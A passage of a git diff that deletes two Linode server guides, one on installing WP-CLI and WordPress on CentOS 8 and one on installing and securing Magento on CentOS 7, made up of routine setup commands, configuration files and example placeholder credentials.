Stack](/cloud/guides/how-to-install-a-lamp-stack-on-centos-8/#optional-test-and-troubleshoot-the-lamp-stack) section. Those steps will be covered later on in this guide. - -## Install WP-CLI - -1. WP-CLI is available as a PHP Archive file (`.phar`). You can download it using either `wget` or `curl` commands: - - curl -O https://raw.githubusercontent.com/wp-cli/builds/gh-pages/phar/wp-cli.phar - - **Or** - - wget https://raw.githubusercontent.com/wp-cli/builds/gh-pages/phar/wp-cli.phar - -1. You need to make this `.phar` file executable and move it to `/usr/local/bin` so that it can be run directly: - - chmod +x wp-cli.phar - sudo mv wp-cli.phar /usr/local/bin/wp - -1. Install the JSON extension for PHP 7. You will need this extension in order to use the WP-CLI. - - sudo yum install php-json - -1. Check if it is installed properly: - - wp --info - - You should see a similar output like that displayed below, which means you can proceed: - - {{< output >}} -OS: Linux 4.15.0-50-generic #54-Ubuntu SMP Mon May 6 18:46:08 UTC 2019 x86_64 -Shell: /bin/bash -PHP binary: /usr/bin/php7.2 -PHP version: 7.2.24-0ubuntu0.18.04.2 -php.ini used: /etc/php/7.2/cli/php.ini -WP-CLI root dir: phar://wp-cli.phar/vendor/wp-cli/wp-cli -WP-CLI vendor dir: phar://wp-cli.phar/vendor -WP_CLI phar path: /home/lsalazar -WP-CLI packages dir: -WP-CLI global config: -WP-CLI project config: -WP-CLI version: 2.4.0 - {{}} - - You can use the above three steps for upgrading WP-CLI as well. - -### Activate Bash Completion - -The bash completion feature of WP-CLI allows you to see all its available commands on the fly when pressing **Tab**. WP-CLI supports tab completion for [Bash](https://www.gnu.org/software/bash/) and [Zsh](https://en.wikipedia.org/wiki/Z_shell). - -1. Install the wget package: - - sudo yum install wget -1. Download the bash script in your home directory: - - cd ~ - wget https://github.com/wp-cli/wp-cli/raw/master/utils/wp-completion.bash - -1. Edit your shell's configuration file so that wp-completion is loaded by the shell every time you open a new shell session: - - **Bash** - - Open the `.bashrc` file and add the following line to the bottom of the file: - - {{< file "~/.bashrc" bash >}} -source /home/$USER/wp-completion.bash -{{< /file >}} - - - Run the following command to reload the bash profile: - - source ~/.bashrc - - **Zsh** - - - Open the `.zshrc`file and add the following line to the bottom of the file: - - {{< file "~/.zshrc" bash >}} -autoload bashcompinit -bashcompinit -source /home/$USER/wp-completion.bash -{{< /file >}} - - - Run the following command to reload the Zsh profile: - - source ~/.zshrc - -1. Shell completion is now enabled. To test it, type `wp theme ` (include the trailing space) **Without Hitting Enter** and press **Tab** twice. You will see the list of available commands with `wp theme` again on the prompt. - -## Basics of WP-CLI - -In this section, you will learn some basics of how WP-CLI works. This will help you when using the tool in the upcoming sections of the guide. - -- So far, we have seen WP-CLI accessed through the main command, `wp`. You can follow the main command with nested subcommands. For example, WP-CLI includes a command to download WordPress: - - {{< note respectIndent=false >}} -Do not issue the example `wp` command. You will install WordPress in the [Download and Configure WordPress](#download-and-configure-wordpress) section of the guide. - {{< /note >}} - - wp core download - - In the example, `wp` is the main command while `core` and `download` are its nested subcommands. Nesting subcommands can extend one or two levels. - -- WP-CLI also comes with a detailed help section, which displays all the commands you might need. To access help: - - wp help - - The output should resemble: - - {{< output >}} -wp - -DESCRIPTION - -Manage WordPress through the command-line. - -SYNOPSIS - -wp - -SUBCOMMANDS - -cache Manage the object cache. -cap Manage user capabilities. -cli Get information about WP-CLI itself. -comment Manage comments. -core Download, install, update and otherwise manage WordPress proper. -cron Manage WP-Cron events and schedules. -db Perform basic database operations. -eval Execute arbitrary PHP code after loading WordPress. -eval-file Load and execute a PHP file after loading WordPress. -: - {{}} - - - `:` is a prompt that, with subcommands, can help you navigate through this help menu. - - Up and down arrow keys will let you scroll through the entire help command list. - - Typing `q` will exit the help menu. - - For additional details on how to further navigate through the complete help section, you can always type `h` at the above prompt. - - You can use the enabled bash completion to demonstrate WP-CLI's readily available command list. Simply type `wp` and press tab twice. You will see the list of available commands. Now, type `wp core` and press tab twice. You will see a list of commands that can be used with `core`. This double tabbing after a command can be repeated for any primary or subcommand. - -## Install WordPress - -In this section, you will complete the prerequisite configuration steps needed to install WordPress. Then, you will install WordPress using the WP-CLI. - -### Prepare the WordPress Database - -1. Log in to the MariaDB command line as the database's root user: - - sudo mysql -u root - - {{< note respectIndent=false >}} -If you set up a password for MySQL, you would log in with the `-p` flag as well: - - sudo mysql -u root -p -{{< /note >}} - -1. Create the WordPress database: - - {{< highlight sql >}} -CREATE DATABASE wordpress; -{{< /highlight >}} - -1. Create a database user and grant them privileges for the newly created `wordpress` database, replacing `wpuser` and `password` with the username and password you wish to use: - - {{< highlight sql >}} -CREATE USER 'wpuser' IDENTIFIED BY 'password'; -GRANT ALL PRIVILEGES ON wordpress.* TO 'wpuser'; -FLUSH PRIVILEGES; -{{< /highlight >}} - -1. Type `quit` to exit the MariaDB command line. - -1. Install the `policycoreutils-python` package to manage SELinux and open your MySQL port: - - sudo yum install python3-policycoreutils - -1. Configure SELinux to allow your Apache web server to make database connections: - - sudo setsebool httpd_can_network_connect_db 1 - -### Download and Configure WordPress - -1. Create your WordPress site's document root. Replace `example.com` with your site's name: - - sudo mkdir -p /var/www/html/example.com/public_html - -1. Change the ownership of the `public_html` directory and give the group write permissions. Apache comes with its own `apache` user and group. As a recommended practice, you should change the ownership of your installation directory to `apache`: - - sudo chown -R apache:apache /var/www/html/example.com/public_html - sudo chmod g+w /var/www/html/example.com/public_html - -1. Add your limited user account to the `apache` group: - - sudo usermod -a -G apache user - - {{< note respectIndent=false >}} -You may need to log out of your SSH session and log back in for the user group change to take effect. To verify, issue the following command. You should see the `apache` group returned as one of the groups. - - groups - -{{< output >}} -user wheel apache -{{}} - {{< /note >}} - -1. Change the user and group ownership of the `/var/www` directory. This will allow the `apache` user to write to the directory when caching downloaded files to the `/var/www/.wp-cli/cache` directory: - - sudo chown apache:apache /var/www - -1. Download the WordPress files: - - cd /var/www/html/example.com/public_html - wp core download - -1. Create a `wp-config.php` file. Replace `wpuser` and `password` with your WordPress database user and password. Also, replace `example_hostname` with your Linode's hostname. `dbprefix` is entirely optional and can be omitted unless you need to change their default values: - - wp core config --dbname='wordpress' --dbuser='wpuser' --dbpass='password' --dbhost='example_hostname' --dbprefix='wp_' - -1. Run the installation. Replace `adminuser` with the username you'd like to login to WordPress, and replace `password` with a unique password. Replace `example.com` with your domain, or replace it with your IP address if you haven't set up a domain yet: - - wp core install --url='http://example.com' --title='Blog Title' --admin_user='adminuser' --admin_password='password' --admin_email='email@domain.com' - -### Configure Apache Virtual Hosts File - -You will need to configure Apache so that you can access your WordPress site from a browser. - -1. Create directories for your WordPress site's Apache error and access logs: - - sudo mkdir /var/log/httpd/example.com/ - -1. Create directories for Apache's virtual hosts file: - - sudo mkdir /etc/httpd/sites-available /etc/httpd/sites-enabled - -1. Create your WordPress site's Apache error and access log files: - - sudo touch /var/log/httpd/example.com/access.log - sudo touch /var/log/httpd/example.com/error.log - -1. Edit Apache's configuration file to let it know to look for virtual host files in the `/etc/httpd/sites-enabled` directory. Add the example line to the bottom of your `httpd.conf` file: - - {{< file "/etc/httpd/conf/httpd.conf" apache>}} -IncludeOptional sites-enabled/*.conf - {{}} - -1. Navigate to your `/var/www/html/example.com` directory if you are not already there: - - cd /var/www/html/example.com - -1. Create the virtual host file for your website. Replace the `example.com` in `example.com.conf` with your domain name: - - sudo nano /etc/httpd/sites-available/example.com.conf - -1. Create a configuration for your virtual host. Copy the basic settings in the example below and paste them into the virtual host file you just created. Replace all instances of `example.com` with your domain name: - - {{< file "/etc/httpd/sites-availabe/example.com.conf" apache>}} - - Require all granted - - - ServerName example.com - ServerAdmin webmaster@localhost - DocumentRoot /var/www/html/example.com/public_html - ErrorLog /var/log/httpd/example.com/error.log - CustomLog /var/log/httpd/example.com/access.log combined - - order allow,deny - deny from all - - - {{}} - -1. Save the changes to the virtual host configuration file by pressing **CTRL+X** and then pressing **Y**. Press **ENTER** to confirm. - -1. Create a symbolic link from your virtual hosts file in the `sites-available` directory to the `sites-enabled` directory. Replace `example.com.conf` with the name of your own virtual hosts file: - - sudo ln -s /etc/httpd/sites-available/example.com.conf /etc/httpd/sites-enabled/example.com.conf - -1. Reload to apply your new configuration: - - sudo systemctl reload httpd - - {{< note respectIndent=false >}} -For more details on configuring your Apache virtual hosts file, see [Apache's official documentation](http://httpd.apache.org/docs/current/vhosts/). - {{< /note >}} - -1. Visit `http://example.com/wp-admin` (or `http:///wp-admin` if you haven't set up a domain) and verify that you can log in with the WordPress user you created in the [Download and Configure WordPress](#download-and-configure-wordpress) section of the guide. - -## Common Commands - -### Install Plugins - -This section covers common WP-CLI commands related to installing and updating WordPress plugins. As an example, this section will use the [Yoast SEO plugin](https://wordpress.org/plugins/wordpress-seo/). - -To install a plugin, your first step will be to find the *plugin slug*. In this case, the slug is the last part of a permalink URL which describes the plugin. If a plugin is available at http://wordpress.org/plugins/plugin-dir/, then `plugin-dir` is the slug of the plugin. You install the plugin under the same directory on your WordPress site at `http://example.com/wp-content/plugins/plugin-dir/`. Since this slug is unique to every plugin, you can search for the slug of any plugin using WP-CLI and then install it. - -1. Navigate to your WordPress site's root directory. Replace `example.com` with your own site's root directory: - - cd /var/www/html/example.com/public_html - -1. Search for the plugin you would like to install: - - wp plugin search yoast - - You will get an output similar to this. - - {{< output >}} -Success: Showing 10 of 574 plugins. -+---------------------------------------------------+------------------------------------+--------+ -| name | slug | rating | -+---------------------------------------------------+------------------------------------+--------+ -| Yoast SEO | wordpress-seo | 98 | -| Yoast SEO: Search Index Purge | yoast-seo-search-index-purge | 68 | -| ACF Content Analysis for Yoast SEO | acf-content-analysis-for-yoast-seo | 90 | -| Glue for Yoast SEO & AMP | glue-for-yoast-seo-amp | 88 | -| Google Analytics for WordPress by MonsterInsights | google-analytics-for-wordpress | 78 | -| Import Settings into WordPress SEO by Yoast | yoast-seo-settings-xml-csv-import | 100 | -| Remove Yoast SEO Comments | remove-yoast-seo-comments | 92 | -| Surbma – Yoast SEO Breadcrumb Shortcode | surbma-yoast-breadcrumb-shortcode | 84 | -| LiteSpeed Cache | litespeed-cache | 98 | -| WPGlobus – Multilingual Everything! | wpglobus | 92 | -+---------------------------------------------------+------------------------------------+--------+ -{{}} - - You can see more than 10 plugins per page by modifying the command: - - wp plugin search yoast --per-page=20 - -1. Now that you know the slug of the plugin you want to install (`wordpress-seo`), copy it to your command and activate it: - - wp plugin install wordpress-seo - wp plugin activate wordpress-seo - -### Update Plugins -To update any plugin on your WordPress site: - -1. Navigate to your WordPress site's root directory. Replace `example.com` with your own site's root directory: - - cd /var/www/html/example.com/public_html - -1. Issue the plugin update command followed by the name of the plugin: - - wp plugin update wordpress-seo - - Or, to update all plugins issue the following command: - - wp plugin update --all - -1. To list all the installed plugins on your WordPress site, you can use the following command: - - wp plugin list - -### Uninstall Plugins - -To uninstall a WordPress plugin: - -1. Navigate to your WordPress site's root directory. Replace `example.com` with your own site's root directory: - - cd /var/www/html/example.com/public_html - -1. Deactivate and uninstall the plugin: - - wp plugin deactivate wordpress-seo - wp plugin uninstall wordpress-seo - -### Install Themes - -The procedure for installing and activating a theme is nearly identical to that of a plugin. Just swap `plugin` for `theme` in all of the commands. - -1. Navigate to your WordPress site's root directory. Replace `example.com` with your own site's root directory: - - cd /var/www/html/example.com/public_html - -1. Search for the theme you'd like to install. Replace `twentyfourteen` with the theme you'd like to install: - - wp theme search twentyfourteen - -1. Install and activate the theme: - - wp theme install twentyfourteen - wp theme activate twentyfourteen - -### Update Themes - -1. Navigate to your WordPress site's root directory. Replace `example.com` with your own site's root directory: - - cd /var/www/html/example.com/public_html - -1. To list all the themes in a tabular form issue the example command. You can use this command to find the theme you would like to update: - - wp theme list - -1. Update your theme: - - wp theme update twentyfourteen - - To update all themes installed on your WordPress site, issue the following command: - - wp theme update --all - -### Uninstall Themes - -1. Navigate to your WordPress site's root directory. Replace `example.com` with your own site's root directory: - - cd /var/www/html/example.com/public_html - -1. To uninstall a theme, activate a different theme first: - - wp theme activate twentyseventeen - -1. Once you've activated another theme, you can safely uninstall the previously active theme: - - wp theme uninstall twentynineteen - -### Update WordPress - -To update your WordPress site: -{{< note >}} -For more details on best practices when updating your WordPress site, see [WordPress' official documentation](https://wordpress.org/support/article/updating-wordpress/). -{{< /note >}} - -1. Navigate to your WordPress site's root directory. Replace `example.com` with your own site's root directory: - - cd /var/www/html/example.com/public_html - -1. Update all your site's files first: - - wp core update - -1. Update your site's database: - - wp core update-db - -## Next Steps - -You can now further configure WP-CLI. These commands are just the tip of the iceberg about how you can manage WordPress from the command line. Write or edit posts, perform database queries, manage user capabilities, manage `cron` events, import or export content, manage attachments, and even manage multi-site installations through a few, quick and practical keystrokes. You have refined WordPress management, and conserved valuable time. diff --git a/docs/guides/websites/ecommerce/install-magento-on-centos-7/index.md b/docs/guides/websites/ecommerce/install-magento-on-centos-7/index.md deleted file mode 100644 index 03fc5796c40..00000000000 --- a/docs/guides/websites/ecommerce/install-magento-on-centos-7/index.md +++ /dev/null @@ -1,395 +0,0 @@ ---- -slug: install-magento-on-centos-7 -title: Install Magento on CentOS 7 -description: 'Install Magento Community Edition on CentOS 7 to manage your e-commerce site.' -authors: ["Linode"] -contributors: ["Linode"] -published: 2016-12-28 -keywords: ["magento", "centos", "e-commerce", "magento centos"] -tags: ["centos", "lamp", "cms", "ssl"] -license: '[CC BY-ND 4.0](https://creativecommons.org/licenses/by-nd/4.0)' -external_resources: - - '[Magento Documentation](http://docs.magento.com/m2/ce/user_guide/getting-started.html)' - - '[Magento Resources Library](https://magento.com/resources)' -relations: - platform: - key: how-to-install-magento - keywords: - - distribution: CentOS 7 -aliases: ['/websites/ecommerce/install-magento-on-centos-7/'] ---- - -In this guide you'll learn how to install Magento on CentOS 7. Magento Community Edition (CE) is a free, open-source e-commerce platform. It's one of the most popular solutions for self-hosted online stores due to its simple yet powerful admin panel and large developer community. - -![Install Magento on CentOS 7](install-magento-centos-title.png "Install Magento on CentOS 7") - -Considering the resources some Magento plugins demand, we strongly recommend that you have at least a **Linode 4GB**. You'll need to allocate up to 2GB of memory for PHP and Magento to use; running Magento on a smaller Linode may result in server crashes or unreliability under medium to heavy traffic. For more memory-intensive Magento setups, we recommend using a [High Memory Linode](https://www.linode.com/pricing/). - -{{< note >}} -This guide explains how to install the latest Magento release at the time of publication. For the Community Edition, this will be version 2.1.x. If you plan to use data, themes and extensions from an older Magento site, be sure to check for compatibility issues between the two versions since not everything may function as it did in older releases. -{{< /note >}} - -## Before You Begin - -1. Familiarize yourself with our [Getting Started](https://techdocs.akamai.com/cloud-computing/docs/getting-started) guide and complete the steps for setting your Linode's hostname and timezone. - -2. Complete the sections of our [Securing Your Server](https://techdocs.akamai.com/cloud-computing/docs/set-up-and-secure-a-compute-instance) guide to create a standard user account, harden SSH access and remove unnecessary network services. - -3. Magento runs on a LAMP stack, and this guide assumes you have already installed and configured Apache. If you haven't, refer to our [Apache on CentOS 7](/cloud/guides/install-and-configure-apache-on-centos-7/) guide. However, do not install MariaDB or PHP. We will explain how to install compatible versions of those packages in this guide. - -3. Update your system: - - sudo yum update -{{< note >}} -This guide is written for a non-root user. Commands that require elevated privileges are prefixed with `sudo`. If you’re not familiar with the `sudo` command, you can check our [Users and Groups](/cloud/guides/linux-users-and-groups/) guide. -{{< /note >}} - -## Prepare Your Server for Magento - -The LAMP stack serves as the basis for a Magento site, but its component parts need to be configured a bit more before installing the Magento software. In this section, we'll explain how to add some extra settings to Apache as well as how to install MySQL 5.7 and PHP 7. - -### Configure Apache - -Since Magento will be served by Apache, some additional configuration is needed to ensure the application is served properly. In this section, we'll configure Apache for Magento to ensure that styles and other settings display properly in your storefront. - -1. Be sure you're using Apache version 2.4: - - httpd -v - - If this shows version 2.2 or another version, upgrade your packages before proceeding. - -2. Modify the virtual host file for your Magento site to resemble the example below. If you have not previously created a virtual host file, do so now and refer to our [Apache on CentOS 7](/cloud/guides/install-and-configure-apache-on-centos-7/) guide for additional guidance. - - {{< file "/etc/httpd/conf.d/vhost.conf" aconf >}} - - Require all granted - - - ServerName example.com - ServerAlias www.example.com - ServerAdmin webmaster@localhost - DocumentRoot /var/www/html/example.com/public_html - - ErrorLog /var/www/html/example.com/logs/error.log - CustomLog /var/www/html/example.com/logs/access.log combined - - - Options Indexes FollowSymLinks MultiViews - AllowOverride All - - - - -{{< /file >}} - - - The `Directory` block inside the `Virtual Host` block should point to the directory where you plan to install Magento. For simplicity, we will be installing it in our web root, but if you want to put it elsewhere (e.g., a subdirectory of your web root), then modify this setting. - - It's important to note the value of `AllowOverride` as this affects which settings in each directory's `.htaccess` file will apply and which will be ignored. If you're not sure if the `All` option is optimal for your site, refer to the [Apache documentation](http://httpd.apache.org/docs/current/mod/core.html#allowoverride) for more information on this setting. - -3. Restart Apache to apply these changes: - - sudo systemctl restart httpd - -### Install MySQL and Create a Database and User - -As of this guide's publication, Magento 2 is not compatible with MariaDB, which is normally an equivalent replacement for MySQL in CentOS 7. Instead, we'll install MySQL 5.7 from a separate repository. - -1. Download and install the MySQL RPM: - - sudo wget http://dev.mysql.com/get/mysql57-community-release-el7-7.noarch.rpm -P /tmp/ - sudo yum localinstall /tmp/mysql57-community-release-el7-7.noarch.rpm - sudo yum update - sudo yum install mysql-community-server - -2. Start the MySQL daemon: - - sudo systemctl start mysqld - -3. When starting MySQL for the first time, a temporary password is generated for root access to the database. Use `grep` to find it in the log file: - - sudo grep 'temporary password' /var/log/mysqld.log - - {{< note respectIndent=false >}} -If you previously installed MariaDB or MySQL and set a root password, this installation may not override your existing database credentials. If that's the case, use the root password you set previously. -{{< /note >}} - -4. Secure your MySQL installation and change the root password with the `mysql_secure_installation` script: - - mysql_secure_installation - -5. Log into the MySQL shell as the root user, entering your new password when prompted: - - mysql -u root -p - -6. Create a Magento database and user, and set the permissions. In this example, we'll call our database and user `magento`, Replace `P@ssword1` with a secure password. You may optionally replace the other values as well: - - CREATE DATABASE magento; - CREATE USER 'magento' IDENTIFIED BY 'P@ssword1'; - GRANT ALL PRIVILEGES ON magento.* TO 'magento'; - - This section assumes that your database is hosted on the same server as your Magento application. If this is not the case, perform these steps and then refer to Magento's guide on using a [remote database server](http://devdocs.magento.com/guides/v2.0/install-gde/prereq/mysql_remote.html). - - {{< note respectIndent=false >}} -You may receive an error about the complexity of your password if it is not secure enough. By default, CentOS 7 enables the `validate-password` plugin for MySQL. For more information, refer to the official [MySQL documentation](https://dev.mysql.com/doc/refman/5.7/en/validate-password-plugin.html). - -Don't use an exclamation point (`!`) in your password. The Magento installation script does not parse them correctly in its command options. -{{< /note >}} - -7. Exit the MySQL shell: - - quit - -### Install and Configure PHP 7 - -Magento is a PHP application, so you will need to install PHP 7 and make some adjustments to its settings. - -1. CentOS 7's default repositories include PHP 5.4, which is not compatible with Magento 2. Install the *IUS* (Inline with Upstream Stable) repository to get PHP 7: - - sudo wget http://dl.iuscommunity.org/pub/ius/stable/CentOS/7/x86_64/ius-release-1.0-14.ius.centos7.noarch.rpm -P /tmp - sudo yum localinstall /tmp/ius-release-1.0-14.ius.centos7.noarch.rpm - sudo yum update - -2. Install PHP 7 and its required extensions from the IUS repository: - - sudo yum install php70u php70u-pdo php70u-mysqlnd php70u-opcache php70u-xml php70u-mcrypt php70u-gd php70u-devel php70u-mysql php70u-intl php70u-mbstring php70u-json php70u-iconv - -3. Modify the following settings in your `php.ini` file: - - {{< file "/etc/php.ini" >}} -max_input_time = 30 -memory_limit= 2G -error_reporting = E_COMPILE_ERROR|E_RECOVERABLE_ERROR|E_ERROR|E_CORE_ERROR -error_log = /var/log/php/error.log -date.timezone = America/New_York -{{< /file >}} - -This sets the time zone for PHP's `date()` function and imposes a 2GB limit to the amount of memory PHP can use. This value is recommended for a 4GB Linode, but could be increased for a larger server. - -{{< note >}} -The value for `date.timezone` will vary based on your system's time zone. Refer to the [PHP time zone documentation](http://php.net/manual/en/timezones.php) and ensure this value matches the time zone you set when you configured your Linode. -{{< /note >}} - -4. Create the log directory for PHP and give the Apache user ownership: - - sudo mkdir /var/log/php - sudo chown apache /var/log/php - -5. Because you installed a PHP module for Apache in Step 2, restart the web server to apply the changes and allow Apache to serve PHP pages: - - sudo systemctl restart httpd - -6. **Optional**: You may want to take this opportunity to create a `phpinfo.php` page to ensure that PHP is active and working properly with Apache: - - {{< file "/var/www/html/example.com/public_html/phpinfo.php" php >}} - -{{< /file >}} - -Once you've visited this page in your browser and confirmed that PHP is working, delete the test page. - -## Install Magento - -### Download Magento Community Edition - -In this section, we'll explain how to get the Magento Community Edition (CE) software on your Linode. There are several ways to do this, but here we'll cover the simplest method. - -1. On your local computer, download a copy of Magento from their [official website](https://www.magentocommerce.com/download). Several versions are available, but we recommend downloading the latest release. As of this writing, the latest version is 2.1.2: - - ![The Magento download screen](magento-download-screen.png) - - Next to your selected version, there will be a dropdown menu that says "Select your format." Choose the option ending with the `.tar.gz` extension and click **Download**. Be sure to note where you saved the downloaded file. - - ![Select the option ending in ".tar.gz"](magento-tar-gz.png) - - In this step, you'll also be able to download the software with optional sample data. Whether you choose this or the basic version is up to you. - - {{< note respectIndent=false >}} -When choosing a version, refer to Magento's [prerequisites](http://devdocs.magento.com/guides/v2.0/install-gde/prereq/prereq-overview.html) to ensure a particular version's compatibility with the components of your LAMP stack. As of this writing, Magento version 2.1.2 is compatible with all package versions covered in this guide. -{{< /note >}} - -2. From your local computer, copy the file to your Linode. Replace `/path/on/local/` with the path of your downloaded file, `user` with your standard user account on your Linode, and `yourhost` with your Linode's hostname or IP address: - - scp /path/on/local/Magento-CE-2.*.tar.gz user@yourhost:~/ - - Alternatively, you can use an FTP client, like [Filezilla](/cloud/guides/filezilla/), if you're running Windows or are otherwise unable to use a command-line tool like `scp`. - -3. Log into your Linode via SSH as your standard user account. Navigate to the document root you specified in your virtual host file: - - cd /var/www/html/example.com/public_html - - Extracting the archive directly into your webroot, as you'll do in the next step, will make it accessible as the main page on your domain. For instance, if your domain is `example.com`, the Magento storefront will display when you visit `example.com` in your browser. - - If you want to run a Magento store as a subsection of your site, move and extract the archive in a directory within your webroot. For instance, if you intend to make your site accessible by visiting `example.com/store`, create the subdirectory `/var/www/html/example.com/public_html/store` and navigate to that directory before proceeding to the next step. - -4. Move the Magento archive into your document root and extract its contents: - - sudo mv ~/Magento-CE-2.*.tar.gz . - sudo tar -xvf Magento-CE-2.*.tar.gz - -### Configure Users and Permissions - -1. Create a Magento user, which will run the software. For simplicity, call this user `magento`: - - sudo useradd magento - -2. Next, add the Magento user to the web server's user group. For Apache, the default user is `apache`: - - sudo usermod -g apache magento - -3. The commands in this step should be run from your Magento installation directory (where you extracted the archive). If you are not still in that directory, navigate there before proceeding. - - Run these commands in order: - - sudo find var vendor pub/static pub/media app/etc -type f -exec chmod g+w {} \; - sudo find var vendor pub/static pub/media app/etc -type d -exec chmod g+ws {} \; - sudo chown -R magento:apache . - sudo chmod u+x bin/magento - - This allows your `magento` user (and members of the `apache` group) to write to the various files they need to run and serve Magento on your site. - - {{< note respectIndent=false >}} -The first two commands may take some time to run because they are matching various files and directories in your installation folder. It may appear that the system is inactive, but be sure to allow a couple minutes before cancelling the operations. You can always start a new SSH connection, or run these commands in a [screen](/cloud/guides/using-gnu-screen-to-manage-persistent-terminal-sessions/) session, and use tools like [htop & iotop](/cloud/guides/top-htop-iotop/#additional-top-like-programs) to monitor progress. -{{< /note >}} - -4. Restart Apache: - - sudo systemctl restart httpd - -### Install Magento CE - -1. Switch to the `magento` user and navigate to the `bin` directory in your Magento installation folder: - - sudo su magento - cd bin - -2. Run the Magento installation script with the following options: - - ./magento setup:install --admin-firstname="John" --admin-lastname="Doe" --admin-email="your@email.com" --admin-user="john" --admin-password="password1" --db-name="magento" --db-host="localhost" --db-user="magento" --db-password="P@ssword1" - - Replace the values in the options as follows: - - - **admin-firstname** / **admin-lastname** - This will set the full name of your admin user. Replace these with your name if you'll be the administrator. - - **admin-email** - This is your email for resetting passwords and receiving admin notifications. - - **admin-user** / **admin-password** - These are your login credentials for the Magento admin control panel. Be sure to set a secure password here and store it in a safe place. Note that the Magento script requires you to use both letter and number characters in your password, and will return an error if you do not. - - **db-name** - This is the name of the database you set up in MySQL. In our example, we called it `magento`, but if you chose a different value, substitute it here. - - **db-host** - If you're running Magento on the same server as its database, use `localhost` here. If not, this value will be the hostname of the server on which your database lives. - - **db-user** - This is the MySQL database user you set up previously. In our example, we called it `magento` but if you chose a different name, use that here instead. - - **db-password** - This will be the password you configured for the `magento` MySQL user. - - {{< note respectIndent=false >}} -These are just a few of the available options to configure your Magento installation. For more information, refer to the [Magento Installation Guide](http://devdocs.magento.com/guides/v2.1/install-gde/install/cli/install-cli-install.html) and feel free to use additional options when running the script. -{{< /note >}} - -3. The installation script may take several minutes to run. Once it's finished, you'll see a success message: - - [SUCCESS]: Magento installation complete. - [SUCCESS]: Magento Admin URI: /admin_a61e40 - -4. Exit from the `magento` user: - - exit - -Congratulations, you've successfully installed Magento on your Linode! You can log into your admin panel by entering your domain, followed by the "Magento Admin URI" displayed above, in a web browser. The **admin-user** and **admin-password** options you specified when running the installation script will be your credentials. - -## Configure Magento - -The dashboard is functional at this point, but you've still got work to do before the site is ready to use. In this section, we'll explain how to set up cron jobs and secure the Magento software to be suitable for a live e-commerce site. - -### Set Cron Jobs - -Magento relies on [cron](/cloud/guides/schedule-tasks-with-cron/) to perform tasks like continuously reindexing your site and generating emails and newsletters. If you logged into your admin panel, you may have noticed an error message saying that cron jobs needed to be set. Fortunately, the cron jobs Magento uses for a base installation are easy to configure. - -1. Open the crontab for your `magento` user. Perform this step as a user with `sudo` privileges: - - sudo crontab -u magento -e - -2. If this is your first time using cron, you may be prompted to select a text editor. If you don't have a preference, select **2** to use nano. - -3. Add the following lines to the end of the file, substituting your Magento installation directory in each: - - * * * * * /bin/php /var/www/html/example.com/public_html/bin/magento cron:run | grep -v "Ran jobs by schedule" >> /var/www/html/example.com/public_html/var/log/magento.cron.log - * * * * * /bin/php /var/www/html/example.com/public_html/update/cron.php >> /var/www/html/example.com/public_html/var/log/update.cron.log - * * * * * /bin/php /var/www/html/example.com/public_html/bin/magento setup:cron:run >> /var/www/html/example.com/public_html/var/log/setup.cron.log - - The first line handles reindexing. The second and third lines are needed by the Component Manager and System Upgrade, respectively. The `/bin/php` part of each line specifies your PHP binary. If you installed PHP using this guide, you can leave this value as we have shown it, but if you installed PHP by some other method, you can check its location with `which php` and substitute that value. - - When you're done, save and exit the file. - -4. To verify that the rules have been set properly, log out of your Magento admin and log back in. If everything has been configured correctly, you should no longer see the notification. - - If the message persists, wait several minutes before logging back in so that the cron jobs have time to take effect on the system. - -For more information about setting up cron jobs for development servers and custom Magento modules, refer to the [Magento Cron Documentation](http://devdocs.magento.com/guides/v2.1/config-guide/cli/config-cli-subcommands-cron.html#config-cli-cron-bkg). - -### Configure X-Frame Options - -We strongly recommended that you disable the ability to display your Magento storefront in a frame to prevent [clickjacking](https://en.wikipedia.org/wiki/Clickjacking) attacks. To do this, modify the following line in your `env.php` file: - -{{< file "/var/www/html/example.com/public_html/app/etc/env.php" php >}} -'x-frame-options' => 'DENY', - -{{< /file >}} - - -This prevents attackers from embedding your site in a frame (for example, on a malicious site that mimics your store) in an attempt to intercept payment and other sensitive customer information. - -### Set Directory Permissions - -At a minimum, you should restrict write access to the `app/etc` directory before opening the site to customers. Run these commands from within your Magento installation directory: - - sudo find app/etc -type f -exec chmod g-w {} \; - sudo find app/etc -type d -exec chmod g-ws {} \; - -Depending on whether you install custom themes or extensions, you may need to do additional configuration. This will vary depending on what you have installed. Once you're ready to deploy your site into production mode, refer to [Magento's ownership and permissions guide](http://devdocs.magento.com/guides/v2.1/config-guide/prod/prod_file-sys-perms.html) for a more comprehensive set of recommendations. - -{{< note >}} -If you need to make additional configuration changes in the future, you'll need to manually add write permissions again before you can do so. For more information, see our guide on [Linux users and groups](/cloud/guides/linux-users-and-groups/). -{{< /note >}} - -### Secure your Site with SSL - -Secure sockets layer (SSL) certificates are a vital part of e-commerce. They enable encrypted transmission of sensitive data, such as credit card numbers, that can be verified and trusted by clients. In fact, some payment vendors such as PayPal, require SSL certificates to be used for customer transactions. - -For instructions on how to use SSL certificates in your store, see our guides on [obtaining a commercially signed SSL certificate](/cloud/guides/obtain-a-commercially-signed-tls-certificate/) and [using SSL certificates with Apache](/cloud/guides/ssl-apache2-centos/). - -{{< note >}} -Many payment vendors that require SSL do not support self-signed certificates. Depending on how you handle payments, it is likely you will need to purchase a commercially signed certificate. - -When you [configure Apache to use the SSL certificate](/cloud/guides/ssl-apache2-centos/#configure-apache-to-use-the-ssl-certificate), if you installed Magento in a subdirectory of your site and only want that section to be encrypted, make sure to modify your `` block to match. -{{< /note >}} - -Once you've installed your SSL certificate and configured Apache to serve your site securely, you'll need to configure Magento to use secure URLs. - -1. Log into your Magento admin panel using the URL you obtained after running the installation script. - -2. Click on **Stores** in the sidebar on the left of your screen, and select **Configuration** under the Settings submenu. - - ![Go to "Configuration" in the "Stores" menu.](magento-stores-config.png) - -3. On the next screen, you'll see a list of configuration settings including "General," "Catalog" and "Customers". Click on **General**, and select **Web** from its submenu. - - ![Select "Web" from the "General" menu.](magento-general-web.png) - -4. Select **Base URLs (Secure)**, which will open to display several text fields. Modify the first field, **Secure Base URL**, to use the HTTPS protocol, as opposed to HTTP: - - https://example.com - - ![Enter your domain with the HTTPS protocol.](magento-secure-base-url.png) - - This assumes that you used `/var/www/html/example.com/public_html` as your Magento installation directory, as we did in our examples. If you installed Magento in a subdirectory of your web root, you will need to modify that here. For example, if you installed Magento in a folder called `/var/www/html/example.com/public_html/magento`, you'll need to enter: - - https://example.com/magento - -5. Save your configuration. - -6. To verify that SSL has been configured correctly, visit your domain with the HTTPS protocol in a web browser and navigate to a few links. You should see a green lock icon in your browser's URL bar on each 